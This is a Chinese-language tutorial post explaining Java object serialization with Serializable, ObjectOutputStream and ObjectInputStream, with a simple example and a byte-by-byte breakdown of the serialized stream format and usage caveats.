使用时可序列化的对象需要实现 java.io.Serializable 接口或者 java.io.Externalizable 接口。
以实现 Serializable 接口为例,Serializable 仅是一个标记接口,并不包含任何需要实现的具体方法。实现该接口只是为了声明该Java类的对象是可以被序列化的。实际的序列化和反序列化工作是通过ObjectOuputStream和ObjectInputStream来完成的。ObjectOutputStream 的 writeObject 方法可以把一个Java对象写入到流中,ObjectInputStream 的 readObject 方法可以从流中读取一个 Java 对象。在写入和读取的时候,虽然用的参数或返回值是单个对象,但实际上操纵的是一个对象图,包括该对象所引用的其它对象,以及这些对象所引用的另外的对象。Java 会自动帮你遍历对象图并逐个序列化。除了对象之外,Java 中的基本类型和数组也是可以通过 ObjectOutputStream 和 ObjectInputStream 来序列化的。

示例代码

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

可以看到,在序列化后当前目录下生成了一串二进制表示的字节数组文件object.obj
接下来我们执行反序列化读出其对象中的参数
反序列化

public class DeSer {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

屏幕快照 2018-07-10 上午11.07.56

存储格式

序列化的文件二进制字节数据如下图
屏幕快照 2018-07-10 上午11.19.01
1.序列化文件头

AC ED :STREAM_MAGIC声明使用了序列化协议
00 05 :STREAM_VERSION序列化协议版本
73 :TC_OBJECT声明这是一个新的对象

2.序列化类的描述 在这里是Ser类

72 :TC_CLASSDESC声明这里开始一个新的class
00 11 :class名字的长度是17个字节
63 6E 2E 72 75 69 30 2E 74 65 73 74 31 2E 53 65 72 :Ser的完整类名
00 00 00 00 00 00 00 01 :serialVersionUID,序列化ID,如果没有指定,则会由算法随机生成一个8字节的ID
02 :标记号,声明该类支持序列化
00 01:该类所包含的域的个数为1

3.对象中各个属性的描述

49 :域类型,49代表I,也就是int类型
00 03 :域名字的长度为3
6E 75 6D :num属性的名称

4.对象的父类信息描述

这里没有父类,如果有,则数据格式与第二部分一样

5.对象属性的实际值

如果属性是一个对象,那么这里还将序列化这个对象,规则和第2部分一样
00 00 03 8F :911的数值

当然我们也可以使用工具SerializationDumper来查看其结构
屏幕快照 2018-07-10 上午11.17.02

注意

  • 当父类实现了Serializable接口的时候,所有的子类都能序列化
  • 子类实现了Serializable接口,父类没有,父类中的属性不能被序列化(不报错,但是数据会丢失)
  • 如果序列化的属性是对象,对象必须也能序列化,否则会报错
  • 反序列化的时候,如果对象的属性有修改或则删减,修改的部分属性会丢失,但是不会报错
  • 在反序列化的时候serialVersionUID被修改的话,会反序列化失败
  • 在存Java环境下使用Java的序列化机制会支持的很好,但是在多语言环境下需要考虑别的序列化机制,比如xml,json,或则protobuf

参考资料

https://www.cnblogs.com/senlinyang/p/8204752.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
http://www.hollischuang.com/archives/1150
http://xxlegend.com/2018/06/20/先知议题%20Java反序列化实战%20解读/